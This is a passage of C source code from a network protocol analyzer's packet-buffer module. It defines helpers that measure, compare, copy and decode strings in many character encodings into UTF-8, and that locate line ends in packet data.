NUL. The size of the string includes the terminating NUL. * * If the NUL isn't found, it throws the appropriate exception. */ guint tvb_strsize(tvbuff_t *tvb, const gint offset) { guint abs_offset, junk_length; gint nul_offset; DISSECTOR_ASSERT(tvb && tvb->initialized); check_offset_length(tvb, offset, 0, &abs_offset, &junk_length); nul_offset = tvb_find_guint8(tvb, abs_offset, -1, 0); if (nul_offset == -1) { /* * OK, we hit the end of the tvbuff, so we should throw * an exception. * * Did we hit the end of the captured data, or the end * of the actual data? If there's less captured data * than actual data, we presumably hit the end of the * captured data, otherwise we hit the end of the actual * data. */ if (tvb->length < tvb->reported_length) { THROW(BoundsError); } else { if (tvb->flags & TVBUFF_FRAGMENT) { THROW(FragmentBoundsError); } else { THROW(ReportedBoundsError); } } } return (nul_offset - abs_offset) + 1; } /* UTF-16/UCS-2 version of tvb_strsize */ /* Returns number of bytes including the (two-bytes) null terminator */ guint tvb_unicode_strsize(tvbuff_t *tvb, const gint offset) { guint i = 0; gunichar2 uchar; DISSECTOR_ASSERT(tvb && tvb->initialized); do { /* Endianness doesn't matter when looking for null */ uchar = tvb_get_ntohs(tvb, offset + i); i += 2; } while(uchar != 0); return i; } /* Find length of string by looking for end of string ('\0'), up to * 'maxlength' characters'; if 'maxlength' is -1, searches to end * of tvbuff. * Returns -1 if 'maxlength' reached before finding EOS. */ gint tvb_strnlen(tvbuff_t *tvb, const gint offset, const guint maxlength) { gint result_offset; guint abs_offset, junk_length; DISSECTOR_ASSERT(tvb && tvb->initialized); check_offset_length(tvb, offset, 0, &abs_offset, &junk_length); result_offset = tvb_find_guint8(tvb, abs_offset, maxlength, 0); if (result_offset == -1) { return -1; } else { return result_offset - abs_offset; } } /* * Implement strneql etc */ /* * Call strncmp after checking if enough chars left, returning 0 if * it returns 0 (meaning "equal") and -1 otherwise, otherwise return -1. */ gint tvb_strneql(tvbuff_t *tvb, const gint offset, const gchar *str, const size_t size) { const guint8 *ptr; ptr = ensure_contiguous_no_exception(tvb, offset, (gint)size, NULL); if (ptr) { int cmp = strncmp((const char *)ptr, str, size); /* * Return 0 if equal, -1 otherwise. */ return (cmp == 0 ? 0 : -1); } else { /* * Not enough characters in the tvbuff to match the * string. */ return -1; } } /* * Call g_ascii_strncasecmp after checking if enough chars left, returning * 0 if it returns 0 (meaning "equal") and -1 otherwise, otherwise return -1. */ gint tvb_strncaseeql(tvbuff_t *tvb, const gint offset, const gchar *str, const size_t size) { const guint8 *ptr; ptr = ensure_contiguous_no_exception(tvb, offset, (gint)size, NULL); if (ptr) { int cmp = g_ascii_strncasecmp((const char *)ptr, str, size); /* * Return 0 if equal, -1 otherwise. */ return (cmp == 0 ? 0 : -1); } else { /* * Not enough characters in the tvbuff to match the * string. */ return -1; } } /* * Call memcmp after checking if enough chars left, returning 0 if * it returns 0 (meaning "equal") and -1 otherwise, otherwise return -1. */ gint tvb_memeql(tvbuff_t *tvb, const gint offset, const guint8 *str, size_t size) { const guint8 *ptr; ptr = ensure_contiguous_no_exception(tvb, offset, (gint) size, NULL); if (ptr) { int cmp = memcmp(ptr, str, size); /* * Return 0 if equal, -1 otherwise. */ return (cmp == 0 ? 0 : -1); } else { /* * Not enough characters in the tvbuff to match the * string. */ return -1; } } /* * Format the data in the tvb from offset for length ... */ gchar * tvb_format_text(tvbuff_t *tvb, const gint offset, const gint size) { const guint8 *ptr; gint len; len = (size > 0) ? size : 0; ptr = ensure_contiguous(tvb, offset, size); return format_text(ptr, len); } /* * Format the data in the tvb from offset for length ... */ gchar * tvb_format_text_wsp(tvbuff_t *tvb, const gint offset, const gint size) { const guint8 *ptr; gint len; len = (size > 0) ? size : 0; ptr = ensure_contiguous(tvb, offset, size); return format_text_wsp(ptr, len); } /* * Like "tvb_format_text()", but for null-padded strings; don't show * the null padding characters as "\000". */ gchar * tvb_format_stringzpad(tvbuff_t *tvb, const gint offset, const gint size) { const guint8 *ptr, *p; gint len; gint stringlen; len = (size > 0) ? size : 0; ptr = ensure_contiguous(tvb, offset, size); for (p = ptr, stringlen = 0; stringlen < len && *p != '\0'; p++, stringlen++) ; return format_text(ptr, stringlen); } /* * Like "tvb_format_text_wsp()", but for null-padded strings; don't show * the null padding characters as "\000". */ gchar * tvb_format_stringzpad_wsp(tvbuff_t *tvb, const gint offset, const gint size) { const guint8 *ptr, *p; gint len; gint stringlen; len = (size > 0) ? size : 0; ptr = ensure_contiguous(tvb, offset, size); for (p = ptr, stringlen = 0; stringlen < len && *p != '\0'; p++, stringlen++) ; return format_text_wsp(ptr, stringlen); } /* Unicode REPLACEMENT CHARACTER */ #define UNREPL 0x00FFFD /* * All string functions below take a scope as an argument. * * * If scope is NULL, memory is allocated with g_malloc() and user must * explicitly free it with g_free(). * If scope is not NULL, memory is allocated with the corresponding pool * lifetime. * * All functions throw an exception if the tvbuff ends before the string * does. */ /* * Given a wmem scope, tvbuff, an offset, and a length, treat the string * of bytes referred to by the tvbuff, offset, and length as an ASCII string, * with all bytes with the high-order bit set being invalid, and return a * pointer to a UTF-8 string, allocated using the wmem scope. * * Octets with the highest bit set will be converted to the Unicode * REPLACEMENT CHARACTER. */ static guint8 * tvb_get_ascii_string(wmem_allocator_t *scope, tvbuff_t *tvb, gint offset, gint length) { const guint8 *ptr; ptr = ensure_contiguous(tvb, offset, length); return get_ascii_string(scope, ptr, length); } /* * Given a wmem scope, a tvbuff, an offset, and a length, treat the string * of bytes referred to by the tvbuff, the offset. and the length as a UTF-8 * string, and return a pointer to that string, allocated using the wmem scope. * * XXX - should map invalid UTF-8 sequences to UNREPL. */ static guint8 * tvb_get_utf_8_string(wmem_allocator_t *scope, tvbuff_t *tvb, const gint offset, const gint length) { guint8 *strbuf; tvb_ensure_bytes_exist(tvb, offset, length); /* make sure length = -1 fails */ strbuf = (guint8 *)wmem_alloc(scope, length + 1); tvb_memcpy(tvb, strbuf, offset, length); strbuf[length] = '\0'; return strbuf; } /* * Given a wmem scope, tvbuff, an offset, and a length, treat the string * of bytes referred to by the tvbuff, the offset, and the length as a * raw string, and return a pointer to that string, allocated using the * wmem scope. This means a null is appended at the end, but no replacement * checking is done otherwise. Currently tvb_get_utf_8_string() does not * replace either, but it might in the future. * * Also, this one allows a length of -1 to mean get all, but does not * allow a negative offset. */ static inline guint8 * tvb_get_raw_string(wmem_allocator_t *scope, tvbuff_t *tvb, const gint offset, const gint length) { guint8 *strbuf; gint abs_length = length; DISSECTOR_ASSERT(offset >= 0); DISSECTOR_ASSERT(abs_length >= -1); if (abs_length < 0) abs_length = tvb->length - offset; tvb_ensure_bytes_exist(tvb, offset, abs_length); strbuf = (guint8 *)wmem_alloc(scope, abs_length + 1); tvb_memcpy(tvb, strbuf, offset, abs_length); strbuf[abs_length] = '\0'; return strbuf; } /* * Given a wmem scope, a tvbuff, an offset, and a length, treat the string * of bytes referred to by the tvbuff, the offset, and the length as an * ISO 8859/1 string, and return a pointer to a UTF-8 string, allocated * using the wmem scope. */ static guint8 * tvb_get_string_8859_1(wmem_allocator_t *scope, tvbuff_t *tvb, gint offset, gint length) { const guint8 *ptr; ptr = ensure_contiguous(tvb, offset, length); return get_8859_1_string(scope, ptr, length); } /* * Given a wmem scope, a tvbuff, an offset, and a length, and a translation * table, treat the string of bytes referred to by the tvbuff, the offset, * and the length as a string encoded using one octet per character, with * octets with the high-order bit clear being ASCII and octets with the * high-order bit set being mapped by the translation table to 2-byte * Unicode Basic Multilingual Plane characters (including REPLACEMENT * CHARACTER), and return a pointer to a UTF-8 string, allocated with the * wmem scope. */ static guint8 * tvb_get_string_unichar2(wmem_allocator_t *scope, tvbuff_t *tvb, gint offset, gint length, const gunichar2 table[0x80]) { const guint8 *ptr; ptr = ensure_contiguous(tvb, offset, length); return get_unichar2_string(scope, ptr, length, table); } /* * Given a wmem scope, a tvbuff, an offset, a length, and an encoding * giving the byte order, treat the string of bytes referred to by the * tvbuff, the offset, and the length as a UCS-2 encoded string in * the byte order in question, containing characters from the Basic * Multilingual Plane (plane 0) of Unicode, and return a pointer to a * UTF-8 string, allocated with the wmem scope. * * Encoding parameter should be ENC_BIG_ENDIAN or ENC_LITTLE_ENDIAN. * * Specify length in bytes. * * XXX - should map lead and trail surrogate values to REPLACEMENT * CHARACTERs (0xFFFD)? * XXX - if there are an odd number of bytes, should put a * REPLACEMENT CHARACTER at the end. */ static guint8 * tvb_get_ucs_2_string(wmem_allocator_t *scope, tvbuff_t *tvb, const gint offset, gint length, const guint encoding) { const guint8 *ptr; ptr = ensure_contiguous(tvb, offset, length); return get_ucs_2_string(scope, ptr, length, encoding); } /* * Given a wmem scope, a tvbuff, an offset, a length, and an encoding * giving the byte order, treat the string of bytes referred to by the * tvbuff, the offset, and the length as a UTF-16 encoded string in * the byte order in question, and return a pointer to a UTF-8 string, * allocated with the wmem scope. * * Encoding parameter should be ENC_BIG_ENDIAN or ENC_LITTLE_ENDIAN. * * Specify length in bytes. * * XXX - should map surrogate errors to REPLACEMENT CHARACTERs (0xFFFD). * XXX - should map code points > 10FFFF to REPLACEMENT CHARACTERs. * XXX - if there are an odd number of bytes, should put a * REPLACEMENT CHARACTER at the end. */ static guint8 * tvb_get_utf_16_string(wmem_allocator_t *scope, tvbuff_t *tvb, const gint offset, gint length, const guint encoding) { const guint8 *ptr; ptr = ensure_contiguous(tvb, offset, length); return get_utf_16_string(scope, ptr, length, encoding); } /* * Given a wmem scope, a tvbuff, an offset, a length, and an encoding * giving the byte order, treat the string of bytes referred to by the * tvbuff, the offset, and the length as a UCS-4 encoded string in * the byte order in question, and return a pointer to a UTF-8 string, * allocated with the wmem scope. * * Encoding parameter should be ENC_BIG_ENDIAN or ENC_LITTLE_ENDIAN * * Specify length in bytes * * XXX - should map lead and trail surrogate values to a "substitute" * UTF-8 character? * XXX - should map code points > 10FFFF to REPLACEMENT CHARACTERs. * XXX - if the number of bytes isn't a multiple of 4, should put a * REPLACEMENT CHARACTER at the end. */ static gchar * tvb_get_ucs_4_string(wmem_allocator_t *scope, tvbuff_t *tvb, const gint offset, gint length, const guint encoding) { const guint8 *ptr; ptr = ensure_contiguous(tvb, offset, length); return get_ucs_4_string(scope, ptr, length, encoding); } gchar * tvb_get_ts_23_038_7bits_string(wmem_allocator_t *scope, tvbuff_t *tvb, const gint bit_offset, gint no_of_chars) { gint in_offset = bit_offset >> 3; /* Current pointer to the input buffer */ gint length = ((no_of_chars + 1) * 7 + (bit_offset & 0x07)) >> 3; const guint8 *ptr; DISSECTOR_ASSERT(tvb && tvb->initialized); ptr = ensure_contiguous(tvb, in_offset, length); return get_ts_23_038_7bits_string(scope, ptr, bit_offset, no_of_chars); } gchar * tvb_get_ascii_7bits_string(wmem_allocator_t *scope, tvbuff_t *tvb, const gint bit_offset, gint no_of_chars) { gint in_offset = bit_offset >> 3; /* Current pointer to the input buffer */ gint length = ((no_of_chars + 1) * 7 + (bit_offset & 0x07)) >> 3; const guint8 *ptr; DISSECTOR_ASSERT(tvb && tvb->initialized); ptr = ensure_contiguous(tvb, in_offset, length); return get_ascii_7bits_string(scope, ptr, bit_offset, no_of_chars); } /* * Given a wmem scope, a tvbuff, an offset, and a length, treat the string * of bytes referred to by the tvbuff, offset, and length as a string encoded * in EBCDIC using one octet per character, and return a pointer to a * UTF-8 string, allocated using the wmem scope. */ static guint8 * tvb_get_ebcdic_string(wmem_allocator_t *scope, tvbuff_t *tvb, gint offset, gint length) { const guint8 *ptr; ptr = ensure_contiguous(tvb, offset, length); return get_ebcdic_string(scope, ptr, length); } /* * Given a tvbuff, an offset, a length, and an encoding, allocate a * buffer big enough to hold a non-null-terminated string of that length * at that offset, plus a trailing '\0', copy into the buffer the * string as converted from the appropriate encoding to UTF-8, and * return a pointer to the string. */ guint8 * tvb_get_string_enc(wmem_allocator_t *scope, tvbuff_t *tvb, const gint offset, const gint length, const guint encoding) { guint8 *strptr; DISSECTOR_ASSERT(tvb && tvb->initialized); /* make sure length = -1 fails */ if (length < 0) { THROW(ReportedBoundsError); } switch (encoding & ENC_CHARENCODING_MASK) { case ENC_ASCII: default: /* * For now, we treat bogus values as meaning * "ASCII" rather than reporting an error, * for the benefit of old dissectors written * when the last argument to proto_tree_add_item() * was a gboolean for the byte order, not an * encoding value, and passed non-zero values * other than TRUE to mean "little-endian". */ strptr = tvb_get_ascii_string(scope, tvb, offset, length); break; case ENC_UTF_8: /* * XXX - should map lead and trail surrogate value code * points to a "substitute" UTF-8 character? * XXX - should map code points > 10FFFF to REPLACEMENT * CHARACTERs. */ strptr = tvb_get_utf_8_string(scope, tvb, offset, length); break; case ENC_UTF_16: strptr = tvb_get_utf_16_string(scope, tvb, offset, length, encoding & ENC_LITTLE_ENDIAN); break; case ENC_UCS_2: strptr = tvb_get_ucs_2_string(scope, tvb, offset, length, encoding & ENC_LITTLE_ENDIAN); break; case ENC_UCS_4: strptr = tvb_get_ucs_4_string(scope, tvb, offset, length, encoding & ENC_LITTLE_ENDIAN); break; case ENC_ISO_8859_1: /* * ISO 8859-1 printable code point values are equal * to the equivalent Unicode code point value, so * no translation table is needed. */ strptr = tvb_get_string_8859_1(scope, tvb, offset, length); break; case ENC_ISO_8859_2: strptr = tvb_get_string_unichar2(scope, tvb, offset, length, charset_table_iso_8859_2); break; case ENC_ISO_8859_3: strptr = tvb_get_string_unichar2(scope, tvb, offset, length, charset_table_iso_8859_3); break; case ENC_ISO_8859_4: strptr = tvb_get_string_unichar2(scope, tvb, offset, length, charset_table_iso_8859_4); break; case ENC_ISO_8859_5: strptr = tvb_get_string_unichar2(scope, tvb, offset, length, charset_table_iso_8859_5); break; case ENC_ISO_8859_6: strptr = tvb_get_string_unichar2(scope, tvb, offset, length, charset_table_iso_8859_6); break; case ENC_ISO_8859_7: strptr = tvb_get_string_unichar2(scope, tvb, offset, length, charset_table_iso_8859_7); break; case ENC_ISO_8859_8: strptr = tvb_get_string_unichar2(scope, tvb, offset, length, charset_table_iso_8859_8); break; case ENC_ISO_8859_9: strptr = tvb_get_string_unichar2(scope, tvb, offset, length, charset_table_iso_8859_9); break; case ENC_ISO_8859_10: strptr = tvb_get_string_unichar2(scope, tvb, offset, length, charset_table_iso_8859_10); break; case ENC_ISO_8859_11: strptr = tvb_get_string_unichar2(scope, tvb, offset, length, charset_table_iso_8859_11); break; case ENC_ISO_8859_13: strptr = tvb_get_string_unichar2(scope, tvb, offset, length, charset_table_iso_8859_13); break; case ENC_ISO_8859_14: strptr = tvb_get_string_unichar2(scope, tvb, offset, length, charset_table_iso_8859_14); break; case ENC_ISO_8859_15: strptr = tvb_get_string_unichar2(scope, tvb, offset, length, charset_table_iso_8859_15); break; case ENC_ISO_8859_16: strptr = tvb_get_string_unichar2(scope, tvb, offset, length, charset_table_iso_8859_16); break; case ENC_WINDOWS_1250: strptr = tvb_get_string_unichar2(scope, tvb, offset, length, charset_table_cp1250); break; case ENC_MAC_ROMAN: strptr = tvb_get_string_unichar2(scope, tvb, offset, length, charset_table_mac_roman); break; case ENC_CP437: strptr = tvb_get_string_unichar2(scope, tvb, offset, length, charset_table_cp437); break; case ENC_3GPP_TS_23_038_7BITS: { gint bit_offset = offset << 3; gint no_of_chars = (length << 3) / 7; strptr = tvb_get_ts_23_038_7bits_string(scope, tvb, bit_offset, no_of_chars); } break; case ENC_ASCII_7BITS: { gint bit_offset = offset << 3; gint no_of_chars = (length << 3) / 7; strptr = tvb_get_ascii_7bits_string(scope, tvb, bit_offset, no_of_chars); } break; case ENC_EBCDIC: /* * XXX - multiple "dialects" of EBCDIC? */ strptr = tvb_get_ebcdic_string(scope, tvb, offset, length); break; } return strptr; } /* * This is like tvb_get_string_enc(), except that it handles null-padded * strings. * * Currently, string values are stored as UTF-8 null-terminated strings, * so nothing needs to be done differently for null-padded strings; we * could save a little memory by not storing the null padding. * * If we ever store string values differently, in a fashion that doesn't * involve null termination, that might change. */ guint8 * tvb_get_stringzpad(wmem_allocator_t *scope, tvbuff_t *tvb, const gint offset, const gint length, const guint encoding) { return tvb_get_string_enc(scope, tvb, offset, length, encoding); } /* * These routines are like the above routines, except that they handle * null-terminated strings. They find the length of that string (and * throw an exception if the tvbuff ends before we find the null), and * also return through a pointer the length of the string, in bytes, * including the terminating null (the terminating null being 2 bytes * for UCS-2 and UTF-16, 4 bytes for UCS-4, and 1 byte for other * encodings). */ static guint8 * tvb_get_ascii_stringz(wmem_allocator_t *scope, tvbuff_t *tvb, gint offset, gint *lengthp) { guint size; const guint8 *ptr; size = tvb_strsize(tvb, offset); ptr = ensure_contiguous(tvb, offset, size); /* XXX, conversion between signed/unsigned integer */ if (lengthp) *lengthp = size; return get_ascii_string(scope, ptr, size); } static guint8 * tvb_get_utf_8_stringz(wmem_allocator_t *scope, tvbuff_t *tvb, const gint offset, gint *lengthp) { guint size; guint8 *strptr; size = tvb_strsize(tvb, offset); strptr = (guint8 *)wmem_alloc(scope, size); tvb_memcpy(tvb, strptr, offset, size); if (lengthp) *lengthp = size; return strptr; } static guint8 * tvb_get_stringz_8859_1(wmem_allocator_t *scope, tvbuff_t *tvb, gint offset, gint *lengthp) { guint size; const guint8 *ptr; size = tvb_strsize(tvb, offset); ptr = ensure_contiguous(tvb, offset, size); /* XXX, conversion between signed/unsigned integer */ if (lengthp) *lengthp = size; return get_8859_1_string(scope, ptr, size); } static guint8 * tvb_get_stringz_unichar2(wmem_allocator_t *scope, tvbuff_t *tvb, gint offset, gint *lengthp, const gunichar2 table[0x80]) { guint size; const guint8 *ptr; size = tvb_strsize(tvb, offset); ptr = ensure_contiguous(tvb, offset, size); /* XXX, conversion between signed/unsigned integer */ if (lengthp) *lengthp = size; return get_unichar2_string(scope, ptr, size, table); } /* * Given a tvbuff and an offset, with the offset assumed to refer to * a null-terminated string, find the length of that string (and throw * an exception if the tvbuff ends before we find the null), ensure that * the TVB is flat, and return a pointer to the string (in the TVB). * Also return the length of the string (including the terminating null) * through a pointer. * * As long as we aren't using composite TVBs, this saves the cycles used * (often unnecessariliy) in allocating a buffer and copying the string into * it. (If we do start using composite TVBs, we may want to replace this * function with the _ephemeral version.) */ const guint8 * tvb_get_const_stringz(tvbuff_t *tvb, const gint offset, gint *lengthp) { guint size; const guint8 *strptr; size = tvb_strsize(tvb, offset); strptr = ensure_contiguous(tvb, offset, size); if (lengthp) *lengthp = size; return strptr; } static gchar * tvb_get_ucs_2_stringz(wmem_allocator_t *scope, tvbuff_t *tvb, const gint offset, gint *lengthp, const guint encoding) { gint size; /* Number of bytes in string */ const guint8 *ptr; size = tvb_unicode_strsize(tvb, offset); ptr = ensure_contiguous(tvb, offset, size); /* XXX, conversion between signed/unsigned integer */ if (lengthp) *lengthp = size; return get_ucs_2_string(scope, ptr, size, encoding); } static gchar * tvb_get_utf_16_stringz(wmem_allocator_t *scope, tvbuff_t *tvb, const gint offset, gint *lengthp, const guint encoding) { gint size; const guint8 *ptr; size = tvb_unicode_strsize(tvb, offset); ptr = ensure_contiguous(tvb, offset, size); /* XXX, conversion between signed/unsigned integer */ if (lengthp) *lengthp = size; return get_utf_16_string(scope, ptr, size, encoding); } static gchar * tvb_get_ucs_4_stringz(wmem_allocator_t *scope, tvbuff_t *tvb, const gint offset, gint *lengthp, const guint encoding) { gint size; gunichar uchar; const guint8 *ptr; size = 0; do { /* Endianness doesn't matter when looking for null */ uchar = tvb_get_ntohl(tvb, offset + size); size += 4; } while(uchar != 0); ptr = ensure_contiguous(tvb, offset, size); /* XXX, conversion between signed/unsigned integer */ if (lengthp) *lengthp = size; return get_ucs_4_string(scope, ptr, size, encoding); } static guint8 * tvb_get_ebcdic_stringz(wmem_allocator_t *scope, tvbuff_t *tvb, gint offset, gint *lengthp) { guint size; const guint8 *ptr; size = tvb_strsize(tvb, offset); ptr = ensure_contiguous(tvb, offset, size); /* XXX, conversion between signed/unsigned integer */ if (lengthp) *lengthp = size; return get_ebcdic_string(scope, ptr, size); } guint8 * tvb_get_stringz_enc(wmem_allocator_t *scope, tvbuff_t *tvb, const gint offset, gint *lengthp, const guint encoding) { guint8 *strptr; DISSECTOR_ASSERT(tvb && tvb->initialized); switch (encoding & ENC_CHARENCODING_MASK) { case ENC_ASCII: default: /* * For now, we treat bogus values as meaning * "ASCII" rather than reporting an error, * for the benefit of old dissectors written * when the last argument to proto_tree_add_item() * was a gboolean for the byte order, not an * encoding value, and passed non-zero values * other than TRUE to mean "little-endian". */ strptr = tvb_get_ascii_stringz(scope, tvb, offset, lengthp); break; case ENC_UTF_8: /* * XXX - should map all invalid UTF-8 sequences * to a "substitute" UTF-8 character. * XXX - should map code points > 10FFFF to REPLACEMENT * CHARACTERs. */ strptr = tvb_get_utf_8_stringz(scope, tvb, offset, lengthp); break; case ENC_UTF_16: strptr = tvb_get_utf_16_stringz(scope, tvb, offset, lengthp, encoding & ENC_LITTLE_ENDIAN); break; case ENC_UCS_2: strptr = tvb_get_ucs_2_stringz(scope, tvb, offset, lengthp, encoding & ENC_LITTLE_ENDIAN); break; case ENC_UCS_4: strptr = tvb_get_ucs_4_stringz(scope, tvb, offset, lengthp, encoding & ENC_LITTLE_ENDIAN); break; case ENC_ISO_8859_1: /* * ISO 8859-1 printable code point values are equal * to the equivalent Unicode code point value, so * no translation table is needed. */ strptr = tvb_get_stringz_8859_1(scope, tvb, offset, lengthp); break; case ENC_ISO_8859_2: strptr = tvb_get_stringz_unichar2(scope, tvb, offset, lengthp, charset_table_iso_8859_2); break; case ENC_ISO_8859_3: strptr = tvb_get_stringz_unichar2(scope, tvb, offset, lengthp, charset_table_iso_8859_3); break; case ENC_ISO_8859_4: strptr = tvb_get_stringz_unichar2(scope, tvb, offset, lengthp, charset_table_iso_8859_4); break; case ENC_ISO_8859_5: strptr = tvb_get_stringz_unichar2(scope, tvb, offset, lengthp, charset_table_iso_8859_5); break; case ENC_ISO_8859_6: strptr = tvb_get_stringz_unichar2(scope, tvb, offset, lengthp, charset_table_iso_8859_6); break; case ENC_ISO_8859_7: strptr = tvb_get_stringz_unichar2(scope, tvb, offset, lengthp, charset_table_iso_8859_7); break; case ENC_ISO_8859_8: strptr = tvb_get_stringz_unichar2(scope, tvb, offset, lengthp, charset_table_iso_8859_8); break; case ENC_ISO_8859_9: strptr = tvb_get_stringz_unichar2(scope, tvb, offset, lengthp, charset_table_iso_8859_9); break; case ENC_ISO_8859_10: strptr = tvb_get_stringz_unichar2(scope, tvb, offset, lengthp, charset_table_iso_8859_10); break; case ENC_ISO_8859_11: strptr = tvb_get_stringz_unichar2(scope, tvb, offset, lengthp, charset_table_iso_8859_11); break; case ENC_ISO_8859_13: strptr = tvb_get_stringz_unichar2(scope, tvb, offset, lengthp, charset_table_iso_8859_13); break; case ENC_ISO_8859_14: strptr = tvb_get_stringz_unichar2(scope, tvb, offset, lengthp, charset_table_iso_8859_14); break; case ENC_ISO_8859_15: strptr = tvb_get_stringz_unichar2(scope, tvb, offset, lengthp, charset_table_iso_8859_15); break; case ENC_ISO_8859_16: strptr = tvb_get_stringz_unichar2(scope, tvb, offset, lengthp, charset_table_iso_8859_16); break; case ENC_WINDOWS_1250: strptr = tvb_get_stringz_unichar2(scope, tvb, offset, lengthp, charset_table_cp1250); break; case ENC_MAC_ROMAN: strptr = tvb_get_stringz_unichar2(scope, tvb, offset, lengthp, charset_table_mac_roman); break; case ENC_CP437: strptr = tvb_get_stringz_unichar2(scope, tvb, offset, lengthp, charset_table_cp437); break; case ENC_3GPP_TS_23_038_7BITS: REPORT_DISSECTOR_BUG("TS 23.038 7bits has no null character and doesn't support null-terminated strings"); break; case ENC_ASCII_7BITS: REPORT_DISSECTOR_BUG("tvb_get_stringz_enc function with ENC_ASCII_7BITS not implemented yet"); break; case ENC_EBCDIC: /* * XXX - multiple "dialects" of EBCDIC? */ strptr = tvb_get_ebcdic_stringz(scope, tvb, offset, lengthp); break; } return strptr; } /* Looks for a stringz (NUL-terminated string) in tvbuff and copies * no more than bufsize number of bytes, including terminating NUL, to buffer. * Returns length of string (not including terminating NUL), or -1 if the string was * truncated in the buffer due to not having reached the terminating NUL. * In this way, it acts like g_snprintf(). * * bufsize MUST be greater than 0. * * When processing a packet where the remaining number of bytes is less * than bufsize, an exception is not thrown if the end of the packet * is reached before the NUL is found. If no NUL is found before reaching * the end of the short packet, -1 is still returned, and the string * is truncated with a NUL, albeit not at buffer[bufsize - 1], but * at the correct spot, terminating the string. * * *bytes_copied will contain the number of bytes actually copied, * including the terminating-NUL. */ static gint _tvb_get_nstringz(tvbuff_t *tvb, const gint offset, const guint bufsize, guint8* buffer, gint *bytes_copied) { gint stringlen; guint abs_offset; gint limit, len; gboolean decreased_max = FALSE; /* Only read to end of tvbuff, w/o throwing exception. */ check_offset_length(tvb, offset, -1, &abs_offset, &len); /* There must at least be room for the terminating NUL. */ DISSECTOR_ASSERT(bufsize != 0); /* If there's no room for anything else, just return the NUL. */ if (bufsize == 1) { buffer[0] = 0; *bytes_copied = 1; return 0; } /* check_offset_length() won't throw an exception if we're * looking at the byte immediately after the end of the tvbuff. */ if (len == 0) { THROW(ReportedBoundsError); } /* This should not happen because check_offset_length() would * have already thrown an exception if 'offset' were out-of-bounds. */ DISSECTOR_ASSERT(len != -1); /* * If we've been passed a negative number, bufsize will * be huge. */ DISSECTOR_ASSERT(bufsize <= G_MAXINT); if ((guint)len < bufsize) { limit = len; decreased_max = TRUE; } else { limit = bufsize; } stringlen = tvb_strnlen(tvb, abs_offset, limit - 1); /* If NUL wasn't found, copy the data and return -1 */ if (stringlen == -1) { tvb_memcpy(tvb, buffer, abs_offset, limit); if (decreased_max) { buffer[limit] = 0; /* Add 1 for the extra NUL that we set at buffer[limit], * pretending that it was copied as part of the string. */ *bytes_copied = limit + 1; } else { *bytes_copied = limit; } return -1; } /* Copy the string to buffer */ tvb_memcpy(tvb, buffer, abs_offset, stringlen + 1); *bytes_copied = stringlen + 1; return stringlen; } /* Looks for a stringz (NUL-terminated string) in tvbuff and copies * no more than bufsize number of bytes, including terminating NUL, to buffer. * Returns length of string (not including terminating NUL), or -1 if the string was * truncated in the buffer due to not having reached the terminating NUL. * In this way, it acts like g_snprintf(). * * When processing a packet where the remaining number of bytes is less * than bufsize, an exception is not thrown if the end of the packet * is reached before the NUL is found. If no NUL is found before reaching * the end of the short packet, -1 is still returned, and the string * is truncated with a NUL, albeit not at buffer[bufsize - 1], but * at the correct spot, terminating the string. */ gint tvb_get_nstringz(tvbuff_t *tvb, const gint offset, const guint bufsize, guint8 *buffer) { gint bytes_copied; DISSECTOR_ASSERT(tvb && tvb->initialized); return _tvb_get_nstringz(tvb, offset, bufsize, buffer, &bytes_copied); } /* Like tvb_get_nstringz(), but never returns -1. The string is guaranteed to * have a terminating NUL. If the string was truncated when copied into buffer, * a NUL is placed at the end of buffer to terminate it. */ gint tvb_get_nstringz0(tvbuff_t *tvb, const gint offset, const guint bufsize, guint8* buffer) { gint len, bytes_copied; DISSECTOR_ASSERT(tvb && tvb->initialized); len = _tvb_get_nstringz(tvb, offset, bufsize, buffer, &bytes_copied); if (len == -1) { buffer[bufsize - 1] = 0; return bytes_copied - 1; } else { return len; } } /* * Given a tvbuff, an offset into the tvbuff, and a length that starts * at that offset (which may be -1 for "all the way to the end of the * tvbuff"), find the end of the (putative) line that starts at the * specified offset in the tvbuff, going no further than the specified * length. * * Return the length of the line (not counting the line terminator at * the end), or, if we don't find a line terminator: * * if "deseg" is true, return -1; * * if "deseg" is false, return the amount of data remaining in * the buffer. * * Set "*next_offset" to the offset of the character past the line * terminator, or past the end of the buffer if we don't find a line * terminator. (It's not set if we return -1.) */ gint tvb_find_line_end(tvbuff_t *tvb, const gint offset, int len, gint *next_offset, const gboolean desegment) { gint eob_offset; gint eol_offset; int linelen; guchar found_needle = 0; DISSECTOR_ASSERT(tvb && tvb->initialized); if (len == -1) len = _tvb_captured_length_remaining(tvb, offset); /* * XXX - what if "len" is still -1, meaning "offset is past the * end of the tvbuff"? */ eob_offset = offset + len; /* * Look either for a CR or an LF. */ eol_offset = tvb_pbrk_guint8(tvb, offset, len, "\r\n", &found_needle); if (eol_offset == -1) { /* * No CR or LF - line is presumably continued in next packet. */ if (desegment) { /* * Tell our caller we saw no EOL, so they can * try to desegment and get the entire line * into one tvbuff. */ return -1; } else { /* * Pretend the line runs to the end of the tvbuff. */ linelen = eob_offset - offset; if (next_offset) *next_offset = eob_offset; } } else { /* * Find the number of bytes between the starting offset * and the CR or LF. */ linelen = eol_offset - offset; /* * Is it a CR? */ if (found_needle == '\r') { /* * Yes - is it followed by an LF? */ if (eol_offset + 1 >= eob_offset) { /* * Dunno - the next byte isn't in this * tvbuff. */ if (desegment) { /* * We'll return -1, although that * runs the risk that if the line * really *is* terminated with a CR, * we won't properly dissect this * tvbuff. * * It's probably more likely that * the line ends with CR-LF than * that it ends with CR by itself. */ return -1; } } else { /* * Well, we can at least look at the next * byte. */ if (tvb_get_guint8(tvb, eol_offset + 1) == '\n') { /* * It's an LF; skip over the CR. */ eol_offset++; } } } /* * Return the offset of the character after the last * character in the line, skipping over the last character * in the line terminator. */ if (next_offset) *next_offset = eol_offset + 1; } return linelen; } /* * Given a tvbuff, an offset into the tvbuff, and a length that starts * at that offset (which may be -1 for "all the way to the end of the * tvbuff"), find the end of the (putative) line that starts at the * specified offset in the tvbuff, going no further than the specified * length. * * However, treat quoted strings inside the buffer specially - don't * treat newlines in quoted strings as line terminators. * * Return the length of the line (not counting the line terminator at * the end), or the amount of data remaining in the buffer if we don't * find a line terminator. * * Set "*next_offset" to the offset of the character past the line * terminator, or past the end of the buffer if we don't find a line * terminator. */ gint tvb_find_line_end_unquoted(tvbuff_t *tvb, const gint offset, int len, gint *next_offset) { gint cur_offset, char_offset; gboolean is_quoted; guchar c = 0; gint eob_offset; int linelen; DISSECTOR_ASSERT(tvb && tvb->initialized); if (len == 